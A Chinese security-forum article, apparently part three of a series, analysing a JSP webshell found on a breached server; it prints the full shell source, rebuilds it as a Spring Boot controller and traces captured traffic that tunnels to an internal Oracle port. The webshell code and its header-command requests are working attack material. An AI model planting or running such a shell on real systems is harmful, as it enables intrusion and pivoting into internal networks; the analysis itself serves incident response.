问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
从零开始的内存马分析——如何骑马反杀(三)
安全工具
第三天,你看着windowsConfig.jsp,config.jsp,心里想着,可算抓到你了,这回要把你全部,全部都属于我,可是,当你正兴高采烈逐步分析的时候,却发现,自己的数据库早已沦陷。。。
0x00 序言 ======= 第三天,你看着windowsConfig.jsp,config.jsp,心里想着,可算抓到你了,这回要把你全部,全部都属于我,可是,当你正兴高采烈逐步分析的时候,却发现,自己的数据早已沦陷。。。 0x01 windowsConfig.jsp分析 ======================== ```php <%@page import="java.nio.ByteBuffer, java.nio.channels.SocketChannel, java.io.*, java.net.*, java.util.*" pageEncoding="UTF-8" trimDirectiveWhitespaces="true"%> <%! private static char[] en = "CE0XgUOIQFsw1tcy+H95alrukYfdznxZR8PJo2qbh4pe6/VDKijTL3v7BAmGMSNW".toCharArray(); public static String b64en(byte[] data) { StringBuffer sb = new StringBuffer(); int len = data.length; int i = 0; int b1, b2, b3; while (i < len) { b1 = data[i++] & 0xff; if (i == len) { sb.append(en[b1 >>> 2]); sb.append(en[(b1 & 0x3) << 4]); sb.append("=="); break; } b2 = data[i++] & 0xff; if (i == len) { sb.append(en[b1 >>> 2]); sb.append(en[((b1 & 0x03) << 4) | ((b2 & 0xf0) >>> 4)]); sb.append(en[(b2 & 0x0f) << 2]); sb.append("="); break; } b3 = data[i++] & 0xff; sb.append(en[b1 >>> 2]); sb.append(en[((b1 & 0x03) << 4) | ((b2 & 0xf0) >>> 4)]); sb.append(en[((b2 & 0x0f) << 2) | ((b3 & 0xc0) >>> 6)]); sb.append(en[b3 & 0x3f]); } return sb.toString(); } private static byte[] de = new byte[] {-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,16,-1,-1,-1,45,2,12,37,53,41,19,44,55,33,18,-1,-1,-1,-1,-1,-1,-1,57,56,0,47,1,9,59,17,7,35,48,52,60,62,6,34,8,32,61,51,5,46,63,3,25,31,-1,-1,-1,-1,-1,-1,20,39,14,27,43,26,4,40,49,50,24,21,58,29,36,42,38,22,10,13,23,54,11,30,15,28,-1,-1,-1,-1,-1}; public static byte[] b64de(String str) { byte[] data = str.getBytes(); int len = data.length; ByteArrayOutputStream buf = new ByteArrayOutputStream(len); int i = 0; int b1, b2, b3, b4; while (i < len) { do { b1 = de[data[i++]]; } while (i < len && b1 == -1); if (b1 == -1) { break; } do { b2 = de[data[i++]]; } while (i < len && b2 == -1); if (b2 == -1) { break; } buf.write((int) ((b1 << 2) | ((b2 & 0x30) >>> 4))); do { b3 = data[i++]; if (b3 == 61) { return buf.toByteArray(); } b3 = de[b3]; } while (i < len && b3 == -1); if (b3 == -1) { break; } buf.write((int) (((b2 & 0x0f) << 4) | ((b3 & 0x3c) >>> 2))); do { b4 = data[i++]; if (b4 == 61) { return buf.toByteArray(); } b4 = de[b4]; } while (i < len && b4 == -1); if (b4 == -1) { break; } buf.write((int) (((b3 & 0x03) << 6) | b4)); } return buf.toByteArray(); } static String headerkey(String str) throws Exception { String out = ""; for (String block: str.split("-")) { out += block.substring(0, 1).toUpperCase() + block.substring(1); out += "-"; } return out.substring(0, out.length() - 1); } boolean islocal(String url) throws Exception { String ip = (new URL(url)).getHost(); Enumeration<NetworkInterface> nifs = NetworkInterface.getNetworkInterfaces(); while (nifs.hasMoreElements()) { NetworkInterface nif = nifs.nextElement(); Enumeration<InetAddress> addresses = nif.getInetAddresses(); while (addresses.hasMoreElements()) { InetAddress addr = addresses.nextElement(); if (addr instanceof Inet4Address) if (addr.getHostAddress().equals(ip)) return true; } } return false; } %> //上面是定义的函数之类 //下面是我们的代码 <% String rUrl = request.getHeader("Mueytrthxaatjpsb"); if (rUrl != null) { rUrl = new String(b64de(rUrl)); if (!islocal(rUrl)){ response.reset(); String method = request.getMethod(); URL u = new URL(rUrl); HttpURLConnection conn = (HttpURLConnection) u.openConnection(); conn.setRequestMethod(method); conn.setDoOutput(true); // conn.setConnectTimeout(200); // conn.setReadTimeout(200); Enumeration enu = request.getHeaderNames(); List<String> keys = Collections.list(enu); Collections.reverse(keys); for (String key : keys){ if (!key.equalsIgnoreCase("Mueytrthxaatjpsb")){ String value=request.getHeader(key); conn.setRequestProperty(headerkey(key), value); } } int i; byte[] buffer = new byte[1024]; if (request.getContentLength() != -1){ OutputStream output; try{ output = conn.getOutputStream(); }catch(Exception e){ response.setHeader("Die", "C23vc07BCOdIsUHAmDM4nNP01x7zR4uKsWbBrOV"); return; } ServletInputStream inputStream = request.getInputStream(); while ((i = inputStream.read(buffer)) != -1) { output.write(buffer, 0, i); } output.flush(); output.close(); } for (String key : conn.getHeaderFields().keySet()) { if (key != null && !key.equalsIgnoreCase("Content-Length") && !key.equalsIgnoreCase("Transfer-Encoding")){ String value = conn.getHeaderField(key); response.setHeader(key, value); } } InputStream hin; if (conn.getResponseCode() < HttpURLConnection.HTTP_BAD_REQUEST) { hin = conn.getInputStream(); } else { hin = conn.getErrorStream(); if (hin == null){ response.setStatus(200); return; } } ByteArrayOutputStream baos = new ByteArrayOutputStream(); while ((i = hin.read(buffer)) != -1) { byte[] data = new byte[i]; System.arraycopy(buffer, 0, data, 0, i); baos.write(data); } String responseBody = new String(baos.toByteArray()); response.addHeader("Content-Length", Integer.toString(responseBody.length())); response.setStatus(conn.getResponseCode()); out.write(responseBody); out.flush(); if ( true ) return; // exit } } response.resetBuffer(); response.setStatus(200); String cmd = request.getHeader("Ffydhndmhhl"); if (cmd != null) { String mark = cmd.substring(0,22); cmd = cmd.substring(22); response.setHeader("Sbxspawzq", "CapFLueBCn2ZM"); if (cmd.compareTo("b5v9XJbF") == 0) { try { String[] target_ary = new String(b64de(request.getHeader("Nnpo"))).split("\\|"); String target = target_ary[0]; int port = Integer.parseInt(target_ary[1]); SocketChannel socketChannel = SocketChannel.open(); socketChannel.connect(new InetSocketAddress(target, port)); socketChannel.configureBlocking(false); application.setAttribute(mark, socketChannel); response.setHeader("Sbxspawzq", "CapFLueBCn2ZM"); } catch (Exception e) { response.setHeader("Die", "k4MBX7QElVQzrmOdkml_G3pnYz55EFZPIwTO"); response.setHeader("Sbxspawzq", "G87IdjaYlmwUWO9QjVFHPeP2SVfeMhzT6_pvfN46Km7PazEmu225XmpiAa"); } } else if (cmd.compareTo("0FX") == 0) { SocketChannel socketChannel = (SocketChannel)application.getAttribute(mark); try{ socketChannel.socket().close(); } catch (Exception e) { } application.removeAttribute(mark); } else if (cmd.compareTo("TQDLLDvYzyrB4pPbieRBk90FIdYgjJcE2si70wIXfql") == 0){ SocketChannel socketChannel = (SocketChannel)application.getAttribute(mark); try{ ByteBuffer buf = ByteBuffer.allocate(513); int bytesRead = socketChannel.read(buf); int maxRead = 524288; int readLen = 0; while (bytesRead > 0){ byte[] data = new byte[bytesRead]; System.arraycopy(buf.array(), 0, data, 0, bytesRead); out.write(b64en(data)); out.flush(); ((java.nio.Buffer)buf).clear(); readLen += bytesRead; if (bytesRead < 513 || readLen >= maxRead) break; bytesRead = socketChannel.read(buf); } response.setHeader("Sbxspawzq", "CapFLueBCn2ZM"); } catch (Exception e) { response.setHeader("Sbxspawzq", "G87IdjaYlmwUWO9QjVFHPeP2SVfeMhzT6_pvfN46Km7PazEmu225XmpiAa"); } } else if (cmd.compareTo("CtWP7tBSKiDnysT9hP9pa") == 0){ SocketChannel socketChannel = (SocketChannel)application.getAttribute(mark); try { String inputData = ""; InputStream in = request.getInputStream(); while ( true ){ byte[] buff = new byte[in.available()]; if (in.read(buff) == -1) break; inputData += new String(buff); } byte[] base64 = b64de(inputData); ByteBuffer buf = ByteBuffer.allocate(base64.length); buf.put(base64); buf.flip(); while(buf.hasRemaining()) socketChannel.write(buf); response.setHeader("Sbxspawzq", "CapFLueBCn2ZM"); } catch (Exception e) { response.setHeader("Die", "QmPrA86mT15"); response.setHeader("Sbxspawzq", "G87IdjaYlmwUWO9QjVFHPeP2SVfeMhzT6_pvfN46Km7PazEmu225XmpiAa"); socketChannel.socket().close(); } } } else { out.write("<!-- HdgznEy73Ghv4jiuh5s83czHnFBYBpOdRVE4qyMTNktshD7xIS9S09PrPNH -->"); } %> ``` 1.1 方法分析 -------- 这个马子也是比较精妙的,将一些数据,藏在报文头部,总而言之,整个马,将模仿数据,模仿业务贯穿始终。 `b64en` 很好理解,本身是一个base64的加密 `b64de` 则是一个解密 当然,base的表是自己独立的表,也就是所谓的换表加密。 `headerkey` ```php static String headerkey(String str) throws Exception { String out = ""; for (String block: str.split("-")) { out += block.substring(0, 1).toUpperCase() + block.substring(1); out += "-"; } return out.substring(0, out.length() - 1); } ``` ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-c57d6f622712a2f74f15c57267fa481ba1e62b92.png) 根据测试,他将首字母变为大写 `islocal` 是用了java的网络编程,去判断 ```php boolean islocal(String url) throws Exception { String ip = (new URL(url)).getHost(); // 获得本机的所有网络接口 Enumeration nifs = NetworkInterface.getNetworkInterfaces(); while (nifs.hasMoreElements()) { NetworkInterface nif = nifs.nextElement(); // 获得与该网络接口绑定的 IP 地址,一般只有一个 Enumeration addresses = nif.getInetAddresses(); while (addresses.hasMoreElements()) { InetAddress addr = addresses.nextElement(); // 只关心 IPv4 地址 if (addr instanceof Inet4Address) if (addr.getHostAddress().equals(ip))//获取客户端ip,判断是否为代理 return true; } } return false; } ``` 1.2 内容分析 -------- ```php <% String rUrl = request.getHeader("Mueytrthxaatjpsb"); //获取头部,Mueytrthxaatjpsb 貌似是随机生成的 if (rUrl != null) { //存在的时候,直接base解码 rUrl = new String(b64de(rUrl)); if (!islocal(rUrl)){ response.reset(); String method = request.getMethod(); //发送http的一个连接请求, URL u = new URL(rUrl); HttpURLConnection conn = (HttpURLConnection) u.openConnection(); conn.setRequestMethod(method); conn.setDoOutput(true); // conn.setConnectTimeout(200); // conn.setReadTimeout(200); //获取全部头信息 Enumeration enu = request.getHeaderNames(); List<String> keys = Collections.list(enu); //对list进行反转。1,6,2,10 变为 10,2,6,1 Collections.reverse(keys); for (String key : keys){ //不考虑大小写进行比较 if (!key.equalsIgnoreCase("Mueytrthxaatjpsb")){ String value=request.getHeader(key); conn.setRequestProperty(headerkey(key), value); } } //requestContentLength 获取请求的 body 长度,也就相当于访问到 int i; byte[] buffer = new byte[1024]; if (request.getContentLength() != -1){ OutputStream output; try{ output = conn.getOutputStream(); }catch(Exception e){ //在返回头中设置 Die:C23vc07BCOdIsUHAmDM4nNP01x7zR4uKsWbBrOV response.setHeader("Die", "C23vc07BCOdIsUHAmDM4nNP01x7zR4uKsWbBrOV"); return; } ServletInputStream inputStream = request.getInputStream(); while ((i = inputStream.read(buffer)) != -1) { output.write(buffer, 0, i); } output.flush(); output.close(); } for (String key : conn.getHeaderFields().keySet()) { if (key != null && !key.equalsIgnoreCase("Content-Length") && !key.equalsIgnoreCase("Transfer-Encoding")){ String value = conn.getHeaderField(key); response.setHeader(key, value); } } InputStream hin; if (conn.getResponseCode() < HttpURLConnection.HTTP_BAD_REQUEST) { hin = conn.getInputStream(); } else { hin = conn.getErrorStream(); if (hin == null){ response.setStatus(200); return; } } ByteArrayOutputStream baos = new ByteArrayOutputStream(); while ((i = hin.read(buffer)) != -1) { byte[] data = new byte[i]; System.arraycopy(buffer, 0, data, 0, i); baos.write(data); } //让content-length 对返回长度进行输出 String responseBody = new String(baos.toByteArray()); response.addHeader("Content-Length", Integer.toString(responseBody.length())); response.setStatus(conn.getResponseCode()); out.write(responseBody); out.flush(); if ( true ) return; // exit } } response.resetBuffer(); response.setStatus(200); //cmd 为我们从header中获取的Ffydhndmhhl参数 String cmd = request.getHeader("Ffydhndmhhl"); if (cmd != null) { //从开始到22个字符串,定义为mark String mark = cmd.substring(0,22); //去掉前面的22个字符串,定义为cmd cmd = cmd.substring(22); //response 设置头部 Sbxspawzq,值为CapFLueBCn2ZM response.setHeader("Sbxspawzq", "CapFLueBCn2ZM"); //如果我们的cmd 等于b5v9XJbF ,就会进入if中 if (cmd.compareTo("b5v9XJbF") == 0) { try { //target的数组就等于 请求中Nopo的值,然后把Nopo的值进行basede解码,并通过| 竖杠,进行分割 String[] target_ary = new String(b64de(request.getHeader("Nnpo"))).split("\\|"); //target 就是我们target数组的第0个 String target = target_ary[0]; //端口是target的第1个参数 int port = Integer.parseInt(target_ary[1]); SocketChannel socketChannel = SocketChannel.open(); socketChannel.connect(new InetSocketAddress(target, port)); socketChannel.configureBlocking(false); //存储到整个应用程序的生命周期之中 application.setAttribute(mark, socketChannel); //设置返回的Sbxspawzq CapFLueBCn2ZM header和值 response.setHeader("Sbxspawzq", "CapFLueBCn2ZM"); } catch (Exception e) { //如果在socketCHannel建立的过程中报错了,那就会回显如下的值 response.setHeader("Die", "k4MBX7QElVQzrmOdkml_G3pnYz55EFZPIwTO"); response.setHeader("Sbxspawzq", "G87IdjaYlmwUWO9QjVFHPeP2SVfeMhzT6_pvfN46Km7PazEmu225XmpiAa"); } }//如果cmd等于0FX else if (cmd.compareTo("0FX") == 0) { //获取我们存储在application中的socketChannel SocketChannel socketChannel = (SocketChannel)application.getAttribute(mark); //关闭我们打开的socketChannel try{ socketChannel.socket().close(); } catch (Exception e) { } //删除我们的application中存储的值 application.removeAttribute(mark); } //如果我们的cmd 等于 TQDLLDvYzyrB4pPbieRBk90FIdYgjJcE2si70wIXfql else if (cmd.compareTo("TQDLLDvYzyrB4pPbieRBk90FIdYgjJcE2si70wIXfql") == 0){ //如上 SocketChannel socketChannel = (SocketChannel)application.getAttribute(mark); //从socketChannel中读取数据 //分配了Buffer。从SocketChannel读取到的数据会放到这个Buffer中。 然后,调用SocketChannel.read(buf)。该方法将数据从SocketChannel 读到Buffer中。 read(buf)方法返回的int值,他会表示读了多少字节进Buffer里。 try{ ByteBuffer buf = ByteBuffer.allocate(513); int bytesRead = socketChannel.read(buf); int maxRead = 524288; int readLen = 0; while (bytesRead > 0){ byte[] data = new byte[bytesRead]; //system.arraycopy多字节的一个数组复制 System.arraycopy(buf.array(), 0, data, 0, bytesRead); //输出,讲我们的data进行加密 out.write(b64en(data)); out.flush(); ((java.nio.Buffer)buf).clear(); readLen += bytesRead; if (bytesRead < 513 || readLen >= maxRead) break; bytesRead = socketChannel.read(buf); } //返回头部设置Sbxspawzq :CapFLueBCn2ZM response.setHeader("Sbxspawzq", "CapFLueBCn2ZM"); } catch (Exception e) { //如果读取失败的话,会返回如下 response.setHeader("Sbxspawzq", "G87IdjaYlmwUWO9QjVFHPeP2SVfeMhzT6_pvfN46Km7PazEmu225XmpiAa"); } //如果cmd等于CtWP7tBSKiDnysT9hP9pa } else if (cmd.compareTo("CtWP7tBSKiDnysT9hP9pa") == 0){ SocketChannel socketChannel = (SocketChannel)application.getAttribute(mark); try { String inputData = ""; InputStream in = request.getInputStream(); while ( true ){ //另类的开buff的方式 byte[] buff = new byte[in.available()]; if (in.read(buff) == -1) break; inputData += new String(buff); } //针对输入的data进行basede解密 byte[] base64 = b64de(inputData); //bytebuffer的创建 //这种方法的buf缓冲区存储在堆内存中,内存开销在JVM中,受GC影响,会多拷贝一次,因为java程序收到的数据首先被系统内存所获取,然后再拷贝给JVM ByteBuffer buf = ByteBuffer.allocate(base64.length); buf.put(base64); //flip是非常重要的一个函数,将Buffer从写模式切换到读模式(必须调用这个方法),他就用来切换buffer读写模式的一个函数 buf.flip(); //往SocketChannel写数据 while(buf.hasRemaining()) socketChannel.write(buf); response.setHeader("Sbxspawzq", "CapFLueBCn2ZM"); } catch (Exception e) { response.setHeader("Die", "QmPrA86mT15"); response.setHeader("Sbxspawzq", "G87IdjaYlmwUWO9QjVFHPeP2SVfeMhzT6_pvfN46Km7PazEmu225XmpiAa"); socketChannel.socket().close(); } } } else { out.write("<!-- HdgznEy73Ghv4jiuh5s83czHnFBYBpOdRVE4qyMTNktshD7xIS9S09PrPNH -->"); } %> ``` 这一部分是NIO-08 java SocketChannel SocketChannel 是连接到 TCP 网络套接字的 Channel,相当于 Java 网络编程中的 Socket。有两种创建 SocketChannel 的方式: ```php //前两行是开启一个socketChannel SocketChannel socketChannel = SocketChannel.open(); socketChannel.connect(new InetSocketAddress(target, port)); //将SocketChannel设置为非阻塞的 socketChannel.configureBlocking(false); ``` 我们首先做一些前置工作 0x02 Springboot环境搭建 =================== 先附上代码 ```php package com.example.windowsconfig.Controller; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.RequestMapping; import javax.servlet.ServletContext; import javax.servlet.ServletException; import javax.servlet.ServletInputStream; import javax.servlet.ServletOutputStream; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.ByteArrayOutputStream; import java.io.IOException; import java.io.InputStream; import java.io.OutputStream; import java.net.*; import java.nio.ByteBuffer; import java.nio.channels.SocketChannel; import java.nio.charset.StandardCharsets; import java.util.Collections; import java.util.Enumeration; import java.util.List; @Controller public class controller { private static char[] en = "CE0XgUOIQFsw1tcy+H95alrukYfdznxZR8PJo2qbh4pe6/VDKijTL3v7BAmGMSNW".toCharArray(); public static String b64en(byte[] data) { StringBuffer sb = new StringBuffer(); int len = data.length; int i = 0; int b1, b2, b3; while (i < len) { b1 = data[i++] & 0xff; if (i == len) { sb.append(en[b1 >>> 2]); sb.append(en[(b1 & 0x3) << 4]); sb.append("=="); break; } b2 = data[i++] & 0xff; if (i == len) { sb.append(en[b1 >>> 2]); sb.append(en[((b1 & 0x03) << 4) | ((b2 & 0xf0) >>> 4)]); sb.append(en[(b2 & 0x0f) << 2]); sb.append("="); break; } b3 = data[i++] & 0xff; sb.append(en[b1 >>> 2]); sb.append(en[((b1 & 0x03) << 4) | ((b2 & 0xf0) >>> 4)]); sb.append(en[((b2 & 0x0f) << 2) | ((b3 & 0xc0) >>> 6)]); sb.append(en[b3 & 0x3f]); } return sb.toString(); } private static byte[] de = new byte[] {-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,16,-1,-1,-1,45,2,12,37,53,41,19,44,55,33,18,-1,-1,-1,-1,-1,-1,-1,57,56,0,47,1,9,59,17,7,35,48,52,60,62,6,34,8,32,61,51,5,46,63,3,25,31,-1,-1,-1,-1,-1,-1,20,39,14,27,43,26,4,40,49,50,24,21,58,29,36,42,38,22,10,13,23,54,11,30,15,28,-1,-1,-1,-1,-1}; public static byte[] b64de(String str) { byte[] data = str.getBytes(); int len = data.length; ByteArrayOutputStream buf = new ByteArrayOutputStream(len); int i = 0; int b1, b2, b3, b4; while (i < len) { do { b1 = de[data[i++]]; } while (i < len && b1 == -1); if (b1 == -1) { break; } do { b2 = de[data[i++]]; } while (i < len && b2 == -1); if (b2 == -1) { break; } buf.write((int) ((b1 << 2) | ((b2 & 0x30) >>> 4))); do { b3 = data[i++]; if (b3 == 61) { return buf.toByteArray(); } b3 = de[b3]; } while (i < len && b3 == -1); if (b3 == -1) { break; } buf.write((int) (((b2 & 0x0f) << 4) | ((b3 & 0x3c) >>> 2))); do { b4 = data[i++]; if (b4 == 61) { return buf.toByteArray(); } b4 = de[b4]; } while (i < len && b4 == -1); if (b4 == -1) { break; } buf.write((int) (((b3 & 0x03) << 6) | b4)); } return buf.toByteArray(); } static String headerkey(String str) throws Exception { String out = ""; for (String block: str.split("-")) { out += block.substring(0, 1).toUpperCase() + block.substring(1); out += "-"; } return out.substring(0, out.length() - 1); } boolean islocal(String url) throws Exception { String ip = (new URL(url)).getHost(); Enumeration<NetworkInterface> nifs = NetworkInterface.getNetworkInterfaces(); while (nifs.hasMoreElements()) { NetworkInterface nif = nifs.nextElement(); Enumeration<InetAddress> addresses = nif.getInetAddresses(); while (addresses.hasMoreElements()) { InetAddress addr = addresses.nextElement(); if (addr instanceof Inet4Address) if (addr.getHostAddress().equals(ip)) return true; } } return false; } @RequestMapping("/windowsConfig") public void windows(HttpServletRequest request, HttpServletResponse response) throws Exception { ServletOutputStream out = response.getOutputStream(); ServletContext application = request.getSession().getServletContext(); String rUrl = request.getHeader("Mueytrthxaatjpsb"); if (rUrl != null) { rUrl = new String(b64de(rUrl)); if (!islocal(rUrl)){ response.reset(); String method = request.getMethod(); URL u = new URL(rUrl); HttpURLConnection conn = (HttpURLConnection) u.openConnection(); conn.setRequestMethod(method); conn.setDoOutput(true); // conn.setConnectTimeout(200); // conn.setReadTimeout(200); Enumeration enu = request.getHeaderNames(); List<String> keys = Collections.list(enu); Collections.reverse(keys); for (String key : keys){ if (!key.equalsIgnoreCase("Mueytrthxaatjpsb")){ String value=request.getHeader(key); conn.setRequestProperty(headerkey(key), value); } } int i; byte[] buffer = new byte[1024]; if (request.getContentLength() != -1){ OutputStream output; try{ output = conn.getOutputStream(); }catch(Exception e){ response.setHeader("Die", "C23vc07BCOdIsUHAmDM4nNP01x7zR4uKsWbBrOV"); return; } ServletInputStream inputStream = request.getInputStream(); while ((i = inputStream.read(buffer)) != -1) { output.write(buffer, 0, i); } output.flush(); output.close(); } for (String key : conn.getHeaderFields().keySet()) { if (key != null && !key.equalsIgnoreCase("Content-Length") && !key.equalsIgnoreCase("Transfer-Encoding")){ String value = conn.getHeaderField(key); response.setHeader(key, value); } } InputStream hin; if (conn.getResponseCode() < HttpURLConnection.HTTP_BAD_REQUEST) { hin = conn.getInputStream(); } else { hin = conn.getErrorStream(); if (hin == null){ response.setStatus(200); return; } } ByteArrayOutputStream baos = new ByteArrayOutputStream(); while ((i = hin.read(buffer)) != -1) { byte[] data = new byte[i]; System.arraycopy(buffer, 0, data, 0, i); baos.write(data); } String responseBody = new String(baos.toByteArray()); response.addHeader("Content-Length", Integer.toString(responseBody.length())); response.setStatus(conn.getResponseCode()); out.write(responseBody.getBytes(StandardCharsets.UTF_8)); out.flush(); if ( true ) return; // exit } } response.resetBuffer(); response.setStatus(200); String cmd = request.getHeader("Ffydhndmhhl"); if (cmd != null) { String mark = cmd.substring(0,22); cmd = cmd.substring(22); response.setHeader("Sbxspawzq", "CapFLueBCn2ZM"); if (cmd.compareTo("b5v9XJbF") == 0) { try { String[] target_ary = new String(b64de(request.getHeader("Nnpo"))).split("\\|"); String target = target_ary[0]; int port = Integer.parseInt(target_ary[1]); SocketChannel socketChannel = SocketChannel.open(); socketChannel.connect(new InetSocketAddress(target, port)); socketChannel.configureBlocking(false); application.setAttribute(mark, socketChannel); response.setHeader("Sbxspawzq", "CapFLueBCn2ZM"); } catch (Exception e) { response.setHeader("Die", "k4MBX7QElVQzrmOdkml_G3pnYz55EFZPIwTO"); response.setHeader("Sbxspawzq", "G87IdjaYlmwUWO9QjVFHPeP2SVfeMhzT6_pvfN46Km7PazEmu225XmpiAa"); } } else if (cmd.compareTo("0FX") == 0) { SocketChannel socketChannel = (SocketChannel)application.getAttribute(mark); try{ socketChannel.socket().close(); } catch (Exception e) { } application.removeAttribute(mark); } else if (cmd.compareTo("TQDLLDvYzyrB4pPbieRBk90FIdYgjJcE2si70wIXfql") == 0){ SocketChannel socketChannel = (SocketChannel)application.getAttribute(mark); try{ ByteBuffer buf = ByteBuffer.allocate(513); int bytesRead = socketChannel.read(buf); int maxRead = 524288; int readLen = 0; while (bytesRead > 0){ byte[] data = new byte[bytesRead]; System.arraycopy(buf.array(), 0, data, 0, bytesRead); out.write(b64en(data).getBytes(StandardCharsets.UTF_8)); out.flush(); ((java.nio.Buffer)buf).clear(); readLen += bytesRead; if (bytesRead < 513 || readLen >= maxRead) break; bytesRead = socketChannel.read(buf); } response.setHeader("Sbxspawzq", "CapFLueBCn2ZM"); } catch (Exception e) { response.setHeader("Sbxspawzq", "G87IdjaYlmwUWO9QjVFHPeP2SVfeMhzT6_pvfN46Km7PazEmu225XmpiAa"); } } else if (cmd.compareTo("CtWP7tBSKiDnysT9hP9pa") == 0){ SocketChannel socketChannel = (SocketChannel)application.getAttribute(mark); try { String inputData = ""; InputStream in = request.getInputStream(); while ( true ){ byte[] buff = new byte[in.available()]; if (in.read(buff) == -1) break; inputData += new String(buff); } byte[] base64 = b64de(inputData); ByteBuffer buf = ByteBuffer.allocate(base64.length); buf.put(base64); buf.flip(); while(buf.hasRemaining()) socketChannel.write(buf); response.setHeader("Sbxspawzq", "CapFLueBCn2ZM"); } catch (Exception e) { response.setHeader("Die", "QmPrA86mT15"); response.setHeader("Sbxspawzq", "G87IdjaYlmwUWO9QjVFHPeP2SVfeMhzT6_pvfN46Km7PazEmu225XmpiAa"); socketChannel.socket().close(); } } } else { out.write("<!-- HdgznEy73Ghv4jiuh5s83czHnFBYBpOdRVE4qyMTNktshD7xIS9S09PrPNH -->".getBytes(StandardCharsets.UTF_8)); } } } ``` 主要增添的是两部分 ```php ServletOutputStream out = response.getOutputStream(); ServletContext application = request.getSession().getServletContext(); ``` 一个是输出流,一个是application 同时针对所有的out流都进行getByte转换 ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-9acdc22e751a0907a00b1882beeba80b2ea672eb.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-1af1f774ce4f170e9c0fca0ffe71204c5d7e25b4.png) 当然,这个也是比较神奇的 ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-5a73da2c04ba18f97050ad52447a6cee81d8fcff.png) 为什么不会触发这个回显呢? 根据代码,我们可以分析到,因为有content-length 才会触发 ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-2296652c755d74431c6e2fea64936f47aae28fc6.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-fd024670939d755489a03d7a44abf569904b9f79.png) 正常测试没有问题 我们打开科来,尝试分析一下数据包 0x03 分析流量包 ========== 首先肯定是正常放问的一个流量 ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-796fe8b679401c28b43e63b4067b6faa394ebdcf.png) 会回显 ```php <!-- HdgznEy73Ghv4jiuh5s83czHnFBYBpOdRVE4qyMTNktshD7xIS9S09PrPNH --> ``` 和我们推测的一致 ```php GET /ncupload/windowsConfig.jsp HTTP/1.1 Host: User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/600.6.3 (KHTML, like Gecko) Version/8.0.6 Safari/600.6.3 Accept-Encoding: gzip, deflate Accept: */* Connection: keep-alive Ffydhndmhhl: JXHbGv6CTBayDJp1IL4lHwb5v9XJbF Nnpo: n7n7wqF8frH3wqtDduKB1C== Cookie: JSESSIONID=D78810BD4A8EA708D00A152F099C6C89.server HTTP/1.1 200 OK Server: Apache-Coyote/1.1 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Sbxspawzq: G87IdjaYlmwUWO9QjVFHPeP2SVfeMhzT6_pvfN46Km7PazEmu225XmpiAa Die: k4MBX7QElVQzrmOdkml_G3pnYz55EFZPIwTO Content-Type: text/html;charset=UTF-8 Content-Length: 0 Date: Wed, 27 Jul 2022 10:17:13 GMT ``` 他发送了`Ffydhndmhhl`,`Nnpo` 头部 3.1 动态调试 -------- 我们解码看看,因为已经有环境了,我们直接动态调试 ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-8a02a391a6a92214589481622598554891045cf4.png) 和我们之前的代码预测一致 `JXHbGv6CTBayDJp1IL4lHw b5v9XJbF` 被拆分为了 cmd : b5v9XJbF mark : JXHbGv6CTBayDJp1IL4lHw ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-a2df2cb4b425ccb5af4cbe7dbe2aa6a88fd7aa56.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-463875bc84b04e159b189b88e3e8aaa07c673cb4.png) 判断我们是b5v9xjbf之后 进入if ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-5952ca19f841630c26174fc591dd75555df25409.png) Nnpo解密发现其首先访问了www.baidu.com 进行测试,判断是否可以出外网 也就是说 b5v9XJbF 功能使用来判断是否通着的/也可以用来访问/连接其他 我们跟随流量继续访问 ```php GET /ncupload/windowsConfig.jsp HTTP/1.1 Host: User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/600.6.3 (KHTML, like Gecko) Version/8.0.6 Safari/600.6.3 Accept-Encoding: gzip, deflate Accept: */* Connection: keep-alive Ffydhndmhhl: lYUNaGnRS2eaUhe pfmcKQb5v9XJbF Nnpo: 15CV15aAwJQTwJa3ZXg31Jg= Cookie: JSESSIONID=D78810BD4A8EA708D00A152F099C6C89.server ``` ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-d78d67209e9e7192e8a57c69088b49ee78b557ac.png) 发现是针对10.159.23.55 1521 oracle端口进行连接,因为我本机并没有业务,理所当然的回显了die ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-dd3eb68350f20ea24211c18391d6b895a78bc828.png) 流量中回显的是开放并连接 ```php GET /windowsConfig HTTP/1.1 Host: 127.0.0.1:8080 Ffydhndmhhl: lYUNaGnRS2eaUhe pfmcKQTQDLLDvYzyrB4pPbieRBk90FIdYgjJcE2si70wIXfql Cookie: JSESSIONID=D78810BD4A8EA708D00A152F099C6C89.server ``` 我们继续进行追溯 ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-678252f3b0f283239be92d6ef5b364891534b328.png) 这次cmd进入了 `TQDLLDvYzyrB4pPbieRBk90FIdYgjJcE2si70wIXfql` 这个功能 